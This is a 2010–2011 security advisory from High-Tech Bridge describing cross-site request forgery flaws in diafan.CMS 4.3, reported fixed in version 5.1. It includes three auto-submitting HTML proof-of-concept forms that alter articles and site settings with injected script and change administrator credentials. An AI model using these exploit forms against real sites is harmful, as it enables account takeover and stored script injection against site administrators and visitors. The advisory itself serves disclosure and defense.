Stay in Touch

Application security insights and invitations to exclusive events in your inbox


Your data will stay confidential Private and Confidential

Cross-site Request Forgery (CSRF) Vulnerabilities in diafan.CMS

Advisory ID:HTB22775
Product:diafan.CMS
Vendor:Diafan
Vulnerable Versions:4.3 and probably prior
Tested Version:4.3
Advisory Publication:December 28, 2010 [without technical details]
Vendor Notification:December 28, 2010
Public Disclosure:January 11, 2011
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in diafan.CMS which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) vulnerabilities in diafan.CMS
1.1 The vulnerability exists due to insufficient validation of the request origin. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify articles. Due to insufficient sanitation of input data in the "descr" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/admin/news/saveNEWS_ID/" method="post" name="main" enctype="multipart/form-data" >
<input type="hidden" name="noOut" value="1">
<input type="hidden" name="save_post" value="1">
<input type="hidden" name="id" value="NEWS_ID">
<input type="hidden" name="name" value="news name">
<input type="hidden" name="created" value="23.12.2010 09:02">
<input type="hidden" name="photo" value="">
<input type="hidden" name="act" value="1">
<input type="hidden" name="tag" value="">
<input type="hidden" name="title_meta" value="">
<input type="hidden" name="keywords" value="">
<input type="hidden" name="descr" value='desc"><script>alert(document.cookie)</script>'>
<input type="hidden" name="rewrite" value="">
<input type="hidden" name="site_id" value="5">
<input type="hidden" name="anons" value='announce'>
<input type="hidden" name="text" value="news_text">
</form>
<script>
document.main.submit();
</script>

1.2 The vulnerability exists due to insufficient validation of the request origin in admin/site/save2. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify website settings. Due to insufficient sanitation of input data in the "text" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/admin/site/save2/" method="post" name="main" enctype="multipart/form-data" >
<input type="hidden" name="noOut" value="1">
<input type="hidden" name="save_post" value="1">
<input type="hidden" name="id" value="2">
<input type="hidden" name="name" value="page name">
<input type="hidden" name="act" value="1">
<input type="hidden" name="actm" value="1">
<input type="hidden" name="title_meta" value="title">
<input type="hidden" name="keywords" value="">
<input type="hidden" name="descr" value="">
<input type="hidden" name="rewrite" value="sef_url">
<input type="hidden" name="addmodule" value="">
<input type="hidden" name="parent_id" value="">
<input type="hidden" name="sort" value="2">
<input type="hidden" name="theme" value="">
<input type="hidden" name="othurl" value="">
<input type="hidden" name="text" value='content html"><script>alert(document.cookie)</script>'>
</form>
<script>
document .main.submit ();
</script>

1.3 The vulnerability exists due to insufficient validation of the request origin. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s credentials.
Exploitation example:
<form action="http://host/admin/usersite/save2/" method="post" name="main" enctype="multipart/form-data" >
<input type="hidden" name="noOut" value="1">
<input type="hidden" name="save_post" value="1">
<input type="hidden" name="id" value="2">
<input type="hidden" name="fio" value="first name">
<input type="hidden" name="name" value="userlogin">
<input type="hidden" name="password" value="">
<input type="hidden" name="mail" value="email@example.com">
<input type="hidden" name="created" value="23.12.2010">
<input type="hidden" name="act" value="1">
<input type="hidden" name="moderator" value="1">
<input type="hidden" name="language" value="">
<input type="hidden" name="phone" value="phone">
<input type="hidden" name="city" value="city">
<input type="hidden" name="street" value="street">
<input type="hidden" name="home" value="5">
<input type="hidden" name="corps" value="">
<input type="hidden" name="flat" value="98">
</form>
<script>
document.main.submit();
</script>


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Upgrade to diafan.CMS 5.1


References:
[1] High-Tech Bridge Advisory HTB22775 - https://www.immuniweb.com/advisory/HTB22775 - Cross-site Request Forgery (CSRF) Vulnerabilities in diafan.CMS
[2] diafan.CMS - diafan.ru - diafan.CMS is a simple but functional content management system.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Quick Start
Technology
Products
Free Trial